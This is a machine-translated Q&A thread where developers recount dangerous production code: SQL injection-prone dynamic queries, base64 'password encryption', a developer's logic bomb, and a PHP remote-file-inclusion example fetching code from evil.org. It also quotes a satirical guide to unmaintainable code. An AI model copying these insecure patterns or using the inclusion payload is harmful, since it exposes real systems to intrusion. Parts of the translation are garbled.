您在公司的生产环境中见过的最邪恶或最危险的代码片段是什么?我从来没有遇到过我认为故意恶意和邪恶的生产代码,所以我很好奇看到其他人发现了什么.
我见过的最危险的代码是存储过程,两个链接服务器远离我们的核心生产数据库服务器.存储过程接受任何NVARCHAR(8000)参数,并通过双跳sp_executeSQL命令在目标生产服务器上执行该参数.也就是说,sp_executeSQL命令执行另一个sp_executeSQL命令以跳转两个链接的服务器.哦,链接的服务器帐户在目标生产服务器上具有sysadmin权限.
警告:前面很长的可怕的帖子
我已经写过一篇关于我在这里和这里之前做过的一个应用程序.简而言之,我的公司从印度继承了130,000行垃圾.该应用程序是用C#编写的; 它是一个柜员应用程序,当你去银行时,同样的软件柜员在柜台后面使用.该应用程序每天崩溃40-50次,它根本无法重构为工作代码.我的公司必须在12个月内重写整个应用程序.
为什么这个应用程序邪恶?因为看到源代码足以让一个理智的男人疯了,一个疯子变得健全.用于编写此应用程序的扭曲逻辑只能受到Lovecraftian噩梦的启发.该应用程序的独特功能包括:
在130,000行代码中,整个应用程序包含5个类(不包括表单文件).所有这些都是公共静态类.一个类叫做Globals.cs,它包含1000s,1000s和1000s的公共静态变量,用于保存应用程序的整个状态.这五个类共包含20,000行代码,其余代码嵌入在表单中.
你不得不怀疑,程序员是如何在没有任何类的情况下编写这么大的应用程序的?他们用什么来表示他们的数据对象?事实证明,程序员通过组合ArrayLists,HashTables和DataTables,设法重新发明了我们所学到的关于OOP的一半概念.我们看到了很多这样的事情:
ArrayList的哈希表
具有字符串键和DataRow值的哈希表
DataTables的ArrayLists
DataRows包含包含HashTables的ArrayLists
DataRows的ArrayLists
ArrayLists的ArrayLists
带有字符串键和HashTable值的HashTables
HashTables的ArrayLists的ArrayLists
您可以想到的ArrayLists,HashTables,DataTables的其他组合.
请记住,上面没有任何数据结构是强类型的,因此您必须将从列表中获得的任何神秘对象转换为正确的类型.令人惊讶的是,您可以使用ArrayLists,HashTables和DataTables创建类似Rube Goldberg的复杂数据结构.
要分享如何使用上面详述的对象模型的示例,请考虑Accounts:原始程序员为帐户的每个可配置属性创建单独的HashTable:名为hstAcctExists的hashTable,hstAcctNeedsOverride,hstAcctFirstName.所有这些哈希表的键是一个"|"分隔的字符串.可以想到的键包括"123456 | DDA","24100 | SVG","100 | LNS"等.
由于可以从全局变量中轻松访问整个应用程序的状态,因此程序员发现不必将参数传递给方法.我会说90%的方法都采用了0个参数.在少数几个中,为了方便起见,所有参数都作为字符串传递,无论字符串表示什么.
没有副作用的功能.每个方法都修改了Globals类中的一个或多个变量.并非所有副作用都有意义; 例如,其中一种表单验证方法对于存储Globals.lngAcctNum的任何帐户的贷款计算超过和短期付款都会产生神秘的副作用.
虽然有很多表单,但有一种形式可以统治它们:frmMain.cs,其中包含高达20,000行的代码.frmMain做了什么?一切.它抬头看账号,打印收据,分发现金,它做了一切.
有时需要在frmMain上调用方法的其他形式.而不是将表单中的代码分解为单独的类,为什么不直接调用代码:
((frmMain)this.MDIParent).UpdateStatusBar(hstValues);
为了查找帐户,程序员做了类似这样的事情:
bool blnAccountExists = new frmAccounts().GetAccountInfo().blnAccountExists
虽然它已经创建了一个不可见的表单以执行业务逻辑,但您认为该表单如何知道要查找哪个帐户?这很简单:表单可以访问Globals.lngAcctNum和Globals.strAcctType.(谁不爱匈牙利乐谱?)
代码重用是ctrl-c,ctrl-v的同义词.我发现在20种表格中复制/粘贴了200行方法.
该应用程序有一个奇怪的线程模型,我喜欢称之为线程和计时器模型:产生线程的每个表单都有一个计时器.产生的每个线程都启动了一个200毫秒延迟的定时器; 一旦计时器启动,它将检查线程是否设置了一些魔术布尔值,然后它将中止线程.吞下了生成的ThreadAbortException.
你认为你只会看到一次这种模式,但我发现它至少在10个不同的地方.
说到线程,关键字"lock"从未出现在应用程序中.线程可以自由地操纵全局状态而不需要锁定.
应用程序中的每个方法都包含一个try/catch块.记录并吞下每个异常.
在打开字符串时,谁需要打开枚举就一样容易!
一些天才发现你可以将多个表单控件挂钩到同一个事件处理程序.程序员是如何处理这个的?
private void OperationButton_Click(object sender, EventArgs e) { Button btn = (Button)sender; if (blnModeIsAddMc) { AddMcOperationKeyPress(btn); } else { string strToBeAppendedLater = string.Empty; if (btn.Name != "btnBS") { UpdateText(); } if (txtEdit.Text.Trim() != "Error") { SaveFormState(); } switch (btn.Name) { case "btnC": ResetValues(); break; case "btnCE": txtEdit.Text = "0"; break; case "btnBS": if (!blnStartedNew) { string EditText = txtEdit.Text.Substring(0, txtEdit.Text.Length - 1); DisplayValue((EditText == string.Empty) ? "0" : EditText); } break; case "btnPercent": blnAfterOp = true; if (GetValueDecimal(txtEdit.Text, out decCurrValue)) { AddToTape(GetValueString(decCurrValue), (string)btn.Text, true, false); decCurrValue = decResultValue * decCurrValue / intFormatFactor; DisplayValue(GetValueString(decCurrValue)); AddToTape(GetValueString(decCurrValue), string.Empty, true, false); strToBeAppendedLater = GetValueString(decResultValue).PadLeft(20) + strOpPressed.PadRight(3); if (arrLstTapeHist.Count == 0) { arrLstTapeHist.Add(strToBeAppendedLater); } blnEqualOccurred = false; blnStartedNew = true; } break; case "btnAdd": case "btnSubtract": case "btnMultiply": case "btnDivide": blnAfterOp = true; if (txtEdit.Text.Trim() == "Error") { btnC.PerformClick(); return; } if (blnNumPressed || blnEqualOccurred) { if (GetValueDecimal(txtEdit.Text, out decCurrValue)) { if (Operation()) { AddToTape(GetValueString(decCurrValue), (string)btn.Text, true, true); DisplayValue(GetValueString(decResultValue)); } else { AddToTape(GetValueString(decCurrValue), (string)btn.Text, true, true); DisplayValue("Error"); } strOpPressed = btn.Text; blnEqualOccurred = false; blnNumPressed = false; } } else { strOpPressed = btn.Text; AddToTape(GetValueString(0), (string)btn.Text, false, false); } if (txtEdit.Text.Trim() == "Error") { AddToTape("Error", string.Empty, true, true); btnC.PerformClick(); txtEdit.Text = "Error"; } break; case "btnEqual": blnAfterOp = false; if (strOpPressed != string.Empty || strPrevOp != string.Empty) { if (GetValueDecimal(txtEdit.Text, out decCurrValue)) { if (OperationEqual()) { DisplayValue(GetValueString(decResultValue)); } else { DisplayValue("Error"); } if (!blnEqualOccurred) { strPrevOp = strOpPressed; decHistValue = decCurrValue; blnNumPressed = false; blnEqualOccurred = true; } strOpPressed = string.Empty; } } break; case "btnSign": GetValueDecimal(txtEdit.Text, out decCurrValue); DisplayValue(GetValueString(-1 * decCurrValue)); break; } } }
同样的天才也发现了光荣的三元运算符.以下是一些代码示例:
frmTranHist.cs [line 812]:
strDrCr = chkCredits.Checked && chkDebits.Checked ? string.Empty : chkDebits.Checked ? "D" : chkCredits.Checked ? "C" : "N";
frmTellTransHist.cs [line 961]:
if (strDefaultVals == strNowVals && (dsTranHist == null ? true : dsTranHist.Tables.Count == 0 ? true : dsTranHist.Tables[0].Rows.Count == 0 ? true : false))
frmMain.TellCash.cs [line 727]:
if (Validations(parPostMode == "ADD" ? true : false))
这是一个代码片段,演示了StringBuilder的典型误用.注意程序员如何在循环中连接一个字符串,然后将结果字符串附加到StringBuilder:
private string CreateGridString() { string strTemp = string.Empty; StringBuilder strBuild = new StringBuilder(); foreach (DataGridViewRow dgrRow in dgvAcctHist.Rows) { strTemp = ((DataRowView)dgrRow.DataBoundItem)["Hst_chknum"].ToString().PadLeft(8, ' '); strTemp += " "; strTemp += Convert.ToDateTime(((DataRowView)dgrRow.DataBoundItem)["Hst_trandt"]).ToString("MM/dd/yyyy"); strTemp += " "; strTemp += ((DataRowView)dgrRow.DataBoundItem)["Hst_DrAmount"].ToString().PadLeft(15, ' '); strTemp += " "; strTemp += ((DataRowView)dgrRow.DataBoundItem)["Hst_CrAmount"].ToString().PadLeft(15, ' '); strTemp += " "; strTemp += ((DataRowView)dgrRow.DataBoundItem)["Hst_trancd"].ToString().PadLeft(4, ' '); strTemp += " "; strTemp += GetDescriptionString(((DataRowView)dgrRow.DataBoundItem)["Hst_desc"].ToString(), 30, 62); strBuild.AppendLine(strTemp); } strCreateGridString = strBuild.ToString(); return strCreateGridString;//strBuild.ToString(); }
表上不存在主键,索引或外键约束,几乎所有字段都是varchar(50)类型,并且100%的字段可以为空.有趣的是,位字段不用于存储布尔数据; 而是使用了char(1)字段,字符'Y'和'N'分别用于表示true和false.
说到数据库,这是存储过程的代表性示例:
ALTER PROCEDURE [dbo].[Get_TransHist] ( @TellerID int = null, @CashDrawer int = null, @AcctNum bigint = null, @StartDate datetime = null, @EndDate datetime = null, @StartTranAmt decimal(18,2) = null, @EndTranAmt decimal(18,2) = null, @TranCode int = null, @TranType int = null ) AS declare @WhereCond Varchar(1000) declare @strQuery Varchar(2000) Set @WhereCond = ' ' Set @strQuery = ' ' If not @TellerID is null Set @WhereCond = @WhereCond + ' AND TT.TellerID = ' + Cast(@TellerID as varchar) If not @CashDrawer is null Set @WhereCond = @WhereCond + ' AND TT.CDId = ' + Cast(@CashDrawer as varchar) If not @AcctNum is null Set @WhereCond = @WhereCond + ' AND TT.AcctNbr = ' + Cast(@AcctNum as varchar) If not @StartDate is null Set @WhereCond = @WhereCond + ' AND Convert(varchar,TT.PostDate,121) >= ''' + Convert(varchar,@StartDate,121) + '''' If not @EndDate is null Set @WhereCond = @WhereCond + ' AND Convert(varchar,TT.PostDate,121) <= ''' + Convert(varchar,@EndDate,121) + '''' If not @TranCode is null Set @WhereCond = @WhereCond + ' AND TT.TranCode = ' + Cast(@TranCode as varchar) If not @EndTranAmt is null Set @WhereCond = @WhereCond + ' AND TT.TranAmt <= ' + Cast(@EndTranAmt as varchar) If not @StartTranAmt is null Set @WhereCond = @WhereCond + ' AND TT.TranAmt >= ' + Cast(@StartTranAmt as varchar) If not (@TranType is null or @TranType = -1) Set @WhereCond = @WhereCond + ' AND TT.DocType = ' + Cast(@TranType as varchar) --Get the Teller Transaction Records according to the filters Set @strQuery = 'SELECT TT.TranAmt as [Transaction Amount], TT.TranCode as [Transaction Code], RTrim(LTrim(TT.TranDesc)) as [Transaction Description], TT.AcctNbr as [Account Number], TT.TranID as [Transaction Number], Convert(varchar,TT.ActivityDateTime,101) as [Activity Date], Convert(varchar,TT.EffDate,101) as [Effective Date], Convert(varchar,TT.PostDate,101) as [Post Date], Convert(varchar,TT.ActivityDateTime,108) as [Time], TT.BatchID, TT.ItemID, isnull(TT.DocumentID, 0) as DocumentID, TT.TellerName, TT.CDId, TT.ChkNbr, RTrim(LTrim(DT.DocTypeDescr)) as DocTypeDescr, (CASE WHEN TT.TranMode = ''F'' THEN ''Offline'' ELSE ''Online'' END) TranMode, DispensedYN FROM TellerTrans TT WITH (NOLOCK) LEFT OUTER JOIN DocumentTypes DT WITH (NOLOCK) on DocType = DocumentType WHERE IsNull(TT.DeletedYN, 0) = 0 ' + @WhereCond + ' Order By BatchId, TranID, ItemID' Exec (@strQuery)
尽管如此,这130,000线应用的最大问题是:没有单元测试.
是的,我把这个故事发给了TheDailyWTF,然后我辞掉了工作.
我见过这样的密码加密函数
function EncryptPassword($password) { return base64_encode($password); }
在使用信用卡付款的系统中,我们用来存储完整的信用卡号码以及姓名,到期日期等.
事实证明这是非法的,这是具有讽刺意味的,因为我们当时正在为司法部编写该计划.
这是一段商业代码中的错误处理例程:
/* FIXME! */ while (TRUE) ;
我本来应该找出"应用程序一直锁定"的原因.
同时结合以下所有Php'功能'.
注册全球
变量变量
通过include("http:// ...")包含远程文件和代码;
真的很恐怖的数组/变量名(文字示例):
foreach( $variablesarry as $variablearry ){ include( $$variablearry ); }
(在我意识到它们不是相同的变量之前,我花了一个小时试图弄清楚它是如何工作的)
包括50个文件,每个文件包含50个文件,并且以条件和不可预测的方式在所有50个文件中线性/程序地执行填充.
对于那些不知道变量变量的人:
$x = "hello"; $$x = "world"; print $hello # "world" ;
现在考虑$ x包含来自你的URL的值(注册全局魔术),所以你的代码中没有任何地方显而易见的是你的工作变量,因为它全部由url决定.
现在考虑当该变量的内容可以是网站用户指定的URL时会发生什么.是的,这可能对你没有意义,但它会创建一个名为url的变量,即:
$http://google.com
,
除了无法直接访问,你必须通过上面的双$技术使用它.
另外,当用户可以在URL上指定一个变量来指示要包含哪个文件时,就会出现令人讨厌的技巧
http://foo.bar.com/baz.php?include=http://evil.org/evilcode.php
如果那个变量出现了 include($include)
并且'evilcode.php'打印它的代码明文,并且Php被不恰当地保护,php将只是关闭,下载evilcode.php,并作为web服务器的用户执行它.
web-sever将为其提供所有权限等,允许shell调用,下载任意二进制文件并运行它们等等,直到最终你想知道为什么你的盒子磁盘空间不足,而且一个dir有8GB的盗版电影意大利语配音,通过机器人在IRC上分享.
我只是感谢我发现在运行攻击的脚本之前的暴行决定做一些非常危险的事情,比如收集来自或多或少不安全的数据库的极端机密信息:
(我可以每天使用该代码库来娱乐dailywtf 6个月,我不会惹你生气.我逃脱该代码后发现dailywtf只是一种耻辱)
在主项目头文件中,来自一位老手的COBOL程序员,他在C语言中莫名其妙地编写了一个编译器:
int i, j, k;
"因此,如果忘记声明循环变量,就不会出现编译器错误."
Windows安装程序.
本文如何编写不可维护的代码涵盖了人类已知的一些最杰出的技术.我最喜欢的一些是:
婴儿名字的新用途
购买一本婴儿命名书的副本,您永远不会因变量名称而感到茫然.弗雷德是一个很棒的名字,很容易打字.如果您正在寻找易于输入的变量名称,请尝试使用DSK键盘输入adsf或aoeu.
创意小姐拼写
如果必须使用描述性变量和函数名称,请拼错它们.通过拼写错误的一些函数和变量名称,并在其他函数中正确拼写(例如SetPintleOpening SetPintalClosing),我们实际上否定了grep或IDE搜索技术的使用.它的效果非常好.通过在不同的剧院/剧院拼写托里或托里来增添国际风味.
是抽象的
在命名函数和变量时,大量使用抽象词,如它,一切,数据,句柄,东西,做,例程,执行和数字,例如routineX48,PerformDataFunction,DoIt,HandleStuff和do_args_method.
大写
在一个单词的中间随机大写一个音节的第一个字母.例如ComputeRasterHistoGram().
小写字母l看起来很像数字1
使用小写l表示长常量.例如10l更可能被误认为10L是101.禁止任何明显消除歧义消除gv9 2z 5s il17 |!j oO08''";,.m nn rn {[()]}的字体.要有创意.
回收你的变量
只要范围规则允许,重用现有的不相关变量名称.同样,为两个不相关的目的使用相同的临时变量(声称保存堆栈槽).对于一个恶魔变体,变形变量,例如,在一个非常长的方法的顶部为变量赋值,然后在中间的某个地方,以一种微妙的方式改变变量的含义,例如将其转换为基于0的坐标到基于1的坐标.确保不记录这种意义上的变化.
Cd wrttn vtht s mch trsr
在变量或方法名称中使用缩写时,可以使用同一个单词的多个变体来打破无聊,甚至可以将其拼写为long.这有助于击败那些使用文本搜索的懒惰流浪汉,只了解你的程序的某些方面.将变体拼写视为策略的变体,例如混合国际颜色,美国颜色和粗鲁说话的kulerz.如果你拼写出完整的名字,只有一种方法可以拼写每个名字.这些对于维护程序员来说太容易记住了.因为缩写词有很多不同的方法,所以你可以有几个不同的变量,它们都具有相同的明显目的.作为额外的好处,维护程序员可能甚至不会注意到它们是单独的变量.
模糊的电影参考
使用LancelotsFavouriteColour等常量名称而不是蓝色,并为其指定$ 0204FB的十六进制值.颜色看起来与屏幕上的纯蓝色相同,维护程序员必须使用0204FB(或使用一些图形工具)才能知道它的外观.只有熟悉Monty Python和Holy Grail的人才会知道Lancelot最喜欢的颜色是蓝色.如果维护程序员无法从内存中引用整个Monty Python电影,那么他或她就没有业务成为程序员.
记录明显的
将代码添加到/*添加1到i*/之类的注释中,然而,永远不要记录像包或方法的总体目的那样的毛茸茸的东西.
记录如何不为什么
仅记录程序的详细信息,而不是它试图完成的内容.这样,如果有错误,修复程序将不知道代码应该做什么.
副作用
在C中,函数应该是幂等的(没有副作用).我希望提示就足够了.
使用八进制
将八进制文字走私到十进制数列表中,如下所示:
array = new int [] { 111, 120, 013, 121, };
扩展的ASCII
扩展的ASCII字符作为变量名完全有效,包括ß,Ð和ñ字符.如果没有在简单的文本编辑器中复制/粘贴,几乎不可能键入它们.
来自其他语言的名字
使用外语词典作为变量名称的来源.例如,使用德语punkt作为点.没有您对德语的坚定把握,维护程序员将享受破译意义的多元文化体验.
数学名称
选择伪装成数学运算符的变量名称,例如:
openParen = (slash + asterix) / equals;
伪装成评论和反之亦然的代码
包括已注释掉但乍看之下似乎没有的代码部分.
for(j=0; j如果没有颜色编码,您会注意到三行代码被注释掉了吗?
伪装成关键字的任意名称
记录时,您需要一个任意名称来表示文件名使用"文件".永远不要使用明显任意的名称,如"Charlie.dat"或"Frodo.txt".通常,在您的示例中,使用听起来与保留关键字尽可能相似的任意名称.例如,参数或变量的好名称将是"bank","blank","class","const","constant","input","key","keyword","kind","output" ,"参数""parm","系统","类型","值","var"和"变量".如果你对你的任意名称使用实际保留字,这将被命令处理器或编译器拒绝,那就更好了.如果你做得好,用户将在保留的关键字和你的例子中的任意名称之间毫无希望地混淆,但你可能看起来无辜,声称你这样做是为了帮助他们将适当的目的与每个变量联系起来.
代码名称不能与屏幕名称匹配
选择变量名称与屏幕上显示此类变量时使用的标签完全无关.例如,在屏幕上标注"邮政编码"字段,但在代码中调用相关变量"zip".
选择最佳过载运算符
在C++中,重载+, - ,*,/来完成与加法,减法等完全无关的事情.毕竟,如果Stroustroup可以使用移位运算符来执行I/O,为什么你不应该同样有创意?如果你超载+,请确保你以i = i + 5的方式进行; 与i + = 5有着完全不同的含义; 这是一个将重载操作符混淆提升到高级艺术的示例.超载'!' 类的运算符,但过载与反转或否定无关.使它返回一个整数.然后,为了获得它的逻辑值,你必须使用'!!".但是,这会颠倒逻辑,所以[鼓声]你必须使用'!!!".不要混淆!operator,使用〜按位逻辑否定运算符返回布尔值0或1.
例外
我将让你了解一个鲜为人知的编码秘密.例外是背后的痛苦.正确编写的代码永远不会失败,因此异常实际上是不必要的.不要在他们身上浪费时间.子类化异常是指知道其代码将失败的不称职者.通过在调用System.exit()的整个应用程序(在main中)只有一个try/catch,可以大大简化程序.只需在每个方法标题上添加完全标准的抛出集,无论它们是否真的可以抛出任何异常.
魔术矩阵位置
在某些矩阵位置使用特殊值作为标志.一个很好的选择是与齐次坐标系一起使用的变换矩阵中的[3] [0]元素.
重新审视魔术阵列插槽
如果您需要给定类型的多个变量,只需定义它们的数组,然后按编号访问它们.选择只有您知道并且不记录它的编号约定.并且不必费心为索引定义#define常量.每个人都应该知道全局变量widget [15]是取消按钮.这只是在汇编代码中使用绝对数字地址的最新变体.
永远不要美化
切勿使用自动化源代码整理(美化)来保持代码对齐.大厅让他们禁止他们离开你的公司,因为他们在PVCS/CVS(版本控制跟踪)中创造了错误的增量,或者每个程序员都应该拥有自己的缩进风格,对于他写的任何模块都是永远神圣不可侵犯的.坚持其他程序员在"他的"模块中观察那些特殊的约定.禁止美化是相当容易的,即使他们节省数百万次击键进行手动对齐,浪费时间误解错误对齐的代码.只是坚持每个人都使用相同的整理格式,不仅仅是存储在公共存储库中,还包括在编辑时.这启动了一个RWAR和老板,为了保持和平,将禁止自动整理.如果没有自动整理,您现在可以自由地意外地错位代码,从而产生视觉上的错觉,即循环和ifs的实体比它们实际上更长或更短,或者其他条款与它们实际上匹配的不同.例如
if(a) if(b) x=y; else x=z;测试适用于懦夫
一个勇敢的程序员将绕过这一步.太多的程序员害怕他们的老板,害怕失去工作,害怕客户讨厌邮件而害怕被起诉.这种恐惧使行动瘫痪,并降低了生产力.研究表明,取消测试阶段意味着管理人员可以提前设定发货日期,这对规划过程有明显的帮助.随着恐惧的消失,创新和实验可以开花结果.程序员的角色是生成代码,调试可以通过帮助台和遗留维护组的协作来完成.
如果我们对编码能力充满信心,那么就不需要进行测试.如果我们从逻辑上看这个,那么任何傻瓜都能认识到测试甚至没有尝试解决技术问题,相反,这是一个情绪自信的问题.对这种缺乏信心问题的更有效的解决方案是彻底消除测试并将我们的程序员送到自尊课程.毕竟,如果我们选择进行测试,那么我们必须测试每个程序的变化,但我们只需要向程序员发送一个关于建立自尊的课程.成本效益是显而易见的,令人惊讶.
扭转通常的真假公约
颠倒通常的真假定义.听起来非常明显,但效果很好.你可以隐藏:
#define TRUE 0 #define FALSE 1代码深处的某个地方,以便从程序的内容中挖掘出一些从未见过的文件.然后强制程序进行比较,如:
if ( var == TRUE ) if ( var != FALSE )有人必须"纠正"明显的冗余,并以通常的方式在其他地方使用var:
if ( var )另一种技术是使TRUE和FALSE具有相同的值,尽管大多数人会考虑进出作弊.使用值1和2或-1和0是一种更微妙的方式来绊倒人们仍然看起来很可敬.您可以通过定义名为TRUE的静态常量在Java中使用相同的技术.程序员可能会更加怀疑你是不是没有好处,因为在Java中有一个内置的文字真实.
利用精神分裂症
Java对于数组声明是精神分裂的.您可以使用旧的C,方式String x [],(使用混合的前后缀表示法)或新方式String [] x,它使用纯前缀表示法.如果你想真的让人迷惑,请混合使用.
byte[ ] rowvector, colvector , matrix[ ];这相当于:
byte[ ] rowvector; byte[ ] colvector; byte[ ][] matrix;
八进制文字是邪恶的
9> Willie Wheel..:我不知道我是否会将代码称为"邪恶",但我们有一个开发人员会创建
Object[]
数组而不是编写类.到处.
我实际上读了一本PHP书,说这没关系.好吧,无论如何,我读到了那一点.
@Bill:这并不像我宽恕这种做法,但PHP是弱类型的,这肯定比它更可接受,例如,在C#中
10> 小智..:我已经看到(并发布到thedailywtf)代码,该代码将使每个人在周二的应用程序的重要部分拥有管理员权限.我猜原始开发人员忘记在本地机器测试后删除代码.
11> 小智..:我不知道这是否是"邪恶的",而不是被误导(我最近将它发布在旧的新事物上):
我认识一个喜欢将信息存储为分隔字符串的人.他熟悉数组的概念,如他使用分隔字符串数组所示,但灯泡从未点亮.
12> geofftnz..:基本36编码以在字符串中存储int.
我想这个理论有点像:
十六进制用于表示数字
十六进制不使用F以外的字母,这意味着GZ被浪费了
浪费很糟糕
此时我正在使用一个数据库,该数据库将事件发生的星期几存储为7位位域(0-127),作为2字符字符串存储在数据库中,范围为"0"到'3J'.
几个工作回来我们使用基数36将社会安全号码(9位数)编码成6位数字符串,因此它可以与一年的数字和版本数字组合,因此适合DOS 8.3风格的文件名.贵族!
听起来有人记得20年前的远程成像协议.还记得拨号调制解调器和BBS吗?好吧,ANSI统治了他们很长一段时间.但ANSI只是文本.所以有人提出了一种做图形的方法:远程成像协议.一个如果它的怪癖是大整数在基数36中编码: - /
如果你克服了通信渠道的限制,但在数据库中却没那么糟糕?
13> chris..:我记得看到一个登录处理程序接受了一个post请求,并重定向到一个GET,其中用户名和密码作为参数传入.这是一个"企业级"医疗系统.
检查一些日志时我注意到了这一点 - 我非常想向CEO发送他的密码.
为您考虑的行动方案+1.= P
14> Toon Krijthe..:这件精彩的delphi代码真的很邪恶:
type TMyClass = class private FField : Integer; public procedure DoSomething; end; var myclass : TMyClass; procedure TMyClass.DoSomething; begin myclass.FField := xxx; // end;如果只有一个类的实例,它工作得很好.但不幸的是,我不得不使用其他实例,并创建了许多有趣的错误.
当我发现这颗宝石时,我不记得我是否晕倒或尖叫,可能两者兼而有之.
它是一个成员函数,它不是改变你调用它的对象的状态(就像任何理智的人所期望的那样),而是改变单个全局对象的状态.因此,如果您在不同的对象上调用它,它将无法满足您的期望.
+1,我必须多次阅读它才能意识到它出了什么问题 - 这就是为什么它如此邪恶!
+1:什么?您可能需要解释它的作用......也就是说,如果您知道.
15> Jason Willia..:也许不是邪恶,但肯定是,呃......被误导了.
我曾经不得不重写一个"自然语言解析器",如果... then语句,它被实现为单个5,000行.
如......
if (text == "hello" || text == "hi") response = "hello"; else if (text == "goodbye") response = "bye"; else ...
16> Pharabus..:我看到的代码在ASP.NET MVC网站从上插着客户端click事件的人谁之前她只能做网页表单(并且是著名的复制/贴纸!)
调用该做文档的JavaScript方法标签.地点.
只有通过拖放到webforms上设计网页*的人才是渣滓.
17> Ed B..:有点邪恶...我认识的人写进了主要的内部公司网络应用程序,每天检查他是否在过去10天内登录了系统.如果没有他登录的记录,则会为公司中的每个人禁用该应用程序.
一旦他听到关于裁员的谣言,他就写下了这篇文章,如果他下台,公司就不得不受苦.
我知道这个问题的唯一原因是他度过了2个星期的假期,当网站被淘汰时我打电话给他.他告诉我用他的用户名/密码登录......一切都很好.
当然......几个月后我们都被解雇了.
18> David Schmit..:我的同事喜欢回忆一下使用
public static
数据库连接进行所有数据库工作的ASP.NET应用程序.是的,所有请求都有一个连接.不,也没有锁定.
我认为"扭曲"的逻辑是,如果只有一个连接就不需要锁定!
19> Brian Rasmus..:我记得必须设置IIS 3才能运行Perl CGI脚本(是的,这是一段时间以前).当时的官方建议是将Perl.exe放在cgi-bin中.它工作,但它也让每个人都可以访问一个非常强大的脚本引擎!
20> Adam Rosenfi..:任何符合RFC 3514标准的程序设置了邪恶的位.
21> Steve B...:我们有一个应用程序在xml文件中加载了它的所有全局状态.没问题,除了开发人员已经创建了一种新形式的递归.
... ... ... ... ... ... ... ... ... ... ... ... 然后是有趣的部分.当应用程序加载时,它会运行属性列表并将它们添加到全局(平面)列表中,同时递增一个神秘计数器.神秘计数器被命名为完全不相关的东西,用于神秘计算:
List properties = new List(); Node<-root while node.hasNode("property") add to properties list my_global_variable++; if hasNode("property") node=getNode("property"), ... etc etc然后你得到像这样的功能
calculateSumOfCombinations(int x, int y){ return x+y+my_global_variable; }编辑:澄清 - 我花了很长时间才弄清楚他是在计算递归的深度,因为在6级或7级属性改变了意义,所以他使用计数器将他的平面组分成2组不同的类型,有点像STATE,STATE,STATE,CITY,CITY,CITY的列表,并检查索引>计数器,看看你的名字是一个城市还是一个州)
22> Koen..:SQL查询在ASP应用程序中的javascript中.不能弄脏...